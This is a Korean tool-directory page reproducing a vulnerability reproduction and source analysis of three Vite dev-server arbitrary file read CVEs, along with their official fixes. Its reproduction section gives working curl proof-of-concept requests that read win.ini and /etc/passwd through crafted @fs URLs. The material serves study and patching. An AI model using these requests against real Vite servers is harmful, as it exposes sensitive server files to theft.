Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-30208-Series — CVE-2025-30208 시리즈 취약점 재현 분석 | Kitploit
도구/GitHubGitHub/r0ngy40/cve-2025-30208-series
Static AnalysisVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubr0ngy40/cve-2025-30208-series

CVE-2025-30208-Series

CVE-2025-30208 시리즈 취약점 재현 분석

저장소 보기
321년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486

1. 취약점 개요

CVE-2025-30208, CVE-2025-31125 및 CVE-2025-31486는 Vite 개발 서버의 임의 파일 읽기 취약점입니다. 이 취약점을 통해 공격자는 특정 URL 매개변수로 접근 제어를 우회하고 fs 모듈을 통해 서버의 민감한 파일을 읽을 수 있습니다. 위 세 가지 취약점은 발생 원인이 매우 유사하여 하나의 시리즈로 간주할 수 있습니다.

CVE-2025-30208 영향받는 버전은 다음과 같습니다.

root@kitploit:~
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9

CVE-2025-31125 영향받는 버전은 다음과 같습니다.

root@kitploit:~
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10

CVE-2025-31486 영향받는 버전은 다음과 같습니다.

root@kitploit:~
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11

2 환경 구축

로컬에서 0부터 취약점 환경을 구축하려면 먼저 create-vite를 통해 프로젝트를 생성합니다.

root@kitploit:~
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env

이때 생성된 package.json의 Vite 버전에는 ^ 기호가 포함될 수 있습니다(예: "vite": "^6.2.0"). 수동으로 정확한 버전 번호(예: "vite": "6.2.0")로 수정한 후 다음을 실행합니다.

root@kitploit:~
npm install

마지막으로 환경을 시작하면 됩니다.

root@kitploit:~
npm run dev

물론 이 저장소의 vuln-env 폴더를 바로 사용할 수도 있습니다. npm install 후 npm run dev를 실행하면 됩니다.

3. 취약점 재현

편의를 위해 세 가지 취약점 모두 6.2.0 버전에서 재현했습니다. npm run dev를 실행하고 환경이 시작될 때까지 기다립니다.

CVE-2025-30208 POC

root@kitploit:~
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"

curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"

CVE-2025-31125 POC

root@kitploit:~
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"

curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"

읽어온 내용은 base64로 인코딩되어 있으며, 디코딩하면 원본 파일 내용을 얻을 수 있습니다.

CVE-2025-31486 POC

root@kitploit:~
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"

curl  "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"

공지에서 언급된 상대 경로를 통한 읽기 POC는 다음과 같습니다.

root@kitploit:~
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

x는 로컬 프로젝트의 경로를 나타냅니다. 로컬 테스트 POC는 다음과 같습니다.

root@kitploit:~
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"

POC는 기본적으로 두 가지 유형으로 나뉘며, HTTP 헤더를 추가할 필요가 없는 POC에는 모두 ?import&가 존재해야 합니다. 여기서는 일단 다루지 않고, 소스 코드 분석 단계에서 설명하겠습니다.

4. 소스 코드 분석

4.1 CVE-2025-30208

소스 코드 분석에는 디버깅이 필요합니다. 여기서는 VSCode로 프로젝트를 디버깅하며, launch.json 파일의 내용은 다음과 같습니다.

root@kitploit:~
{
    "version": "0.1.0",
    "configurations": [
      {
        "type": "node",
        "request": "launch",
        "name": "Debug Vite & Node Modules",
        "runtimeExecutable": "npm",
        "runtimeArgs": ["run", "dev"],
        "skipFiles": ["<node_internals>/**"],
      }
    ]
  }

공식 패치 방식을 살펴보면, transformMiddleware 함수에서 URL 형식 감지 및 서비스 접근 가능 여부를 판단하는 if 문을 강화했습니다. 따라서 transformMiddleware 함수에 중단점을 설정하고 요청의 파싱 과정을 추적해 보겠습니다.

생성된 프로젝트에는 컴파일된 js 파일만 있으므로, 파일 전체에서 함수 키워드를 검색하여 중단점을 추가합니다.

POC를 실행하면 성공적으로 대상 함수에서 중단됩니다. 몇 가지 변수 할당을 거친 후 호출 과정이 viteTransformMiddleware 함수로 진입하며, 요청 메서드가 GET인지, 요청 대상이 루트 디렉터리 또는 icon인지 확인한 다음, url은 removeTimestampQuery를 거쳐 끝부분의 ?가 제거됩니다.

root@kitploit:~
/@fs/c:/windows/win.ini?import&raw??
                  ⬇
/@fs/c:/windows/win.ini?import&raw?

cleanUrl()을 통해 요청 매개변수가 포함되지 않은 URL을 가져옵니다. 이때 withoutQuery의 값은 "/@fs/c:/windows/win.ini"이므로 if (!isSourceMap) 코드 블록으로 진입하지 않습니다. 이어서 publicDirInRoot로 정적 리소스 디렉터리가 프로젝트 루트 디렉터리에 설정되어 있는지 확인하고, url.startsWith(publicPath)로 요청된 URL이 설정된 공용 경로(예: /public/)로 시작하는지 검사합니다. 두 조건이 모두 충족되면 warnAboutExplicitPublicPathInUrl(url)을 호출하여 경고를 발생시킵니다. 이는 일반적으로 개발자가 코드에서 공용 경로를 잘못 중복 추가했을 수 있음을 의미합니다. URL이 조건에 해당하지 않으므로 해당 코드 블록도 건너뜁니다. rawRE.test(url)와 urlRE.test(url)의 결과가 모두 False이므로 ensureServingAccess()의 결과를 판단하지 않고 논리 표현식의 결과를 바로 False로 설정하여 코드 블록을 건너뜁니다. 이어지는 if 판단에서 URL이 ImportQueryRE에 정의된 정규식 형태와 일치하여 if 코드 블록으로 진입하며, URL은 removeImportQuery() 함수를 거쳐 /@fs/c:/windows/win.ini?raw로 변경된 후 transformRequest() 함수로 전달됩니다.

root@kitploit:~
/@fs/c:/windows/win.ini?import&raw?
                  ⬇
/@fs/c:/windows/win.ini?raw

isJSRequest(url)을 판단하는 if 문에서는 HTTP 헤더의 sec-fetch-dest 값이 script인지도 확인하는 것을 볼 수 있습니다. 값이 script이면 동일하게 판단을 통과할 수 있는데, 이것이 앞서 언급한 POC가 기본적으로 두 가지 유형으로 나뉘는 이유입니다. HTTP 헤더를 추가하거나 ?import&를 사용하는 것은 모두 if 문의 판단을 통과하기 위한 것입니다. (사실 다른 방법으로도 판단을 통과할 수 있습니다. 예를 들어 isHTMLProxy(url) -> /@fs/c:/windows/win.ini?html-proxy&raw??를 통해서입니다.)

매개변수 처리, 환경 검사, 캐시 키 및 중복 요청 감지를 거친 후 doTransform() 함수로 진입합니다.

캐시 유효성 검사를 거친 후 URL /@fs/c:/windows/win.ini?raw가 파싱되어 ID c:/windows/win.ini?raw를 얻은 다음, loadAndTransform() 함수로 진입합니다.

마찬가지로 몇 가지 할당 작업을 거친 후 id 값을 기준으로 플러그인을 로드합니다. 플러그인의 로드 순서는 다음과 같습니다.

root@kitploit:~
vite:optimized-deps
        ↓
vite:modulepreload-polyfill
        ↓
vite:resolve
        ↓
vite:html-inline-proxy
        ↓
vite:css
        ↓
vite:wasm-helper
        ↓
vite:worker
        ↓
vite:asset

CVE-2025-30208의 발생 원인은 공격자가 정교하게 구성한 URL이 파싱 및 처리된 후 assetPlugin 플러그인의 if (rawRE.test(id)) 판단을 통과하여 fsp.readFile() 함수로 전달됨으로써 로컬 파일이 읽힌 것입니다.

4.2 CVE-2025-31125

CVE-2025-31125의 발생 원인은 URL이 파싱된 후 wasmHelperPlugin 플러그인의 id.endsWith(".wasm?init") 조건을 충족하여 fileToUrl$1() 함수로 전달되고, inlineRE$2.test(id) 조건을 충족한 후 fsp.readFile() 함수로 전달됨으로써 로컬 파일이 읽힌 것입니다.

4.3 CVE-2025-31486

CVE-2025-31486는 CVE-2025-31125와 매우 유사합니다. CVE-2025-31125의 분석 그림에서 볼 수 있듯이 fileToDevUrl() 함수에는 정규식 판단이 포함된 if 문이 총 두 개뿐입니다. inlineRE$2.test(id)가 있는 if 코드 블록이 CVE-2025-31125의 트리거 위치이며, 바로 뒤이어 나오는 svgExtRE.test(id) if 코드 블록이 CVE-2025-31486의 트리거 위치입니다.

반면 상대 경로를 이용한 방법은 ensureServingAccess()의 검증을 우회합니다. url이 isFileServingAllowed() 함수로 들어가면 먼저 fsPathFromUrl()의 cleanUrl()이 ?# 및 이후 내용을 제거합니다. 따라서 POC의 url에는 다음과 같은 변화가 발생합니다.

root@kitploit:~
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt
    
    ⬇

D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/

그런 다음 Url은 isFileLoadingAllowed()의 isUriFilePath()에서 검증을 거친 후 isParentDirectory()의 판단을 통과합니다.

5. 취약점 수정

5.1 CVE-2025-30208

수정 커밋 262b5ec을 살펴보면, 공식적으로 채택한 수정 방식은 매개변수 끝부분의 불필요한 ?를 제거하는 것입니다. 이렇게 하면 매개변수가 if ((rawRE.test(...) || urlRE.test(...)) && !ensureServingAccess(...))를 만날 때 rawRE.test()가 성공적으로 매칭되어 정상적으로 ensureServingAccess()에 진입할 수 있으며, 이를 통해 서비스의 접근 허용 여부를 검증함으로써 수정 전 논리 표현식의 단락(short-circuit)으로 인해 발생하던 무단 읽기를 방지합니다.

5.2 CVE-2025-31125

수정 커밋 5967313을 살펴보면, 공식적으로 정규식 inlineRE를 추가했습니다. 이제 ?inline=1.wasm?init은 정규식에 매칭되며, 이후 정상적으로 ensureServingAccess()에 진입하여 서비스 접근 가능 여부를 판단합니다.

5.3 CVE-2025-31486

수정 커밋 62d7e81을 살펴보면, 공식 수정은 크게 두 부분으로 구성됩니다. 첫 번째 부분은 .svg 우회를 처리하기 위해 svgRE 정규식 매칭을 새로 추가한 것입니다.

두 번째 부분은 상대 경로 읽기를 처리하기 위해 매개변수 id를 정리한 후 svgRe.test()에 전달하여, svgRe.test() 검사에 참여하는 매개변수와 file 연결에 참여하는 매개변수가 일치하도록 한 것입니다.

도구 다운로드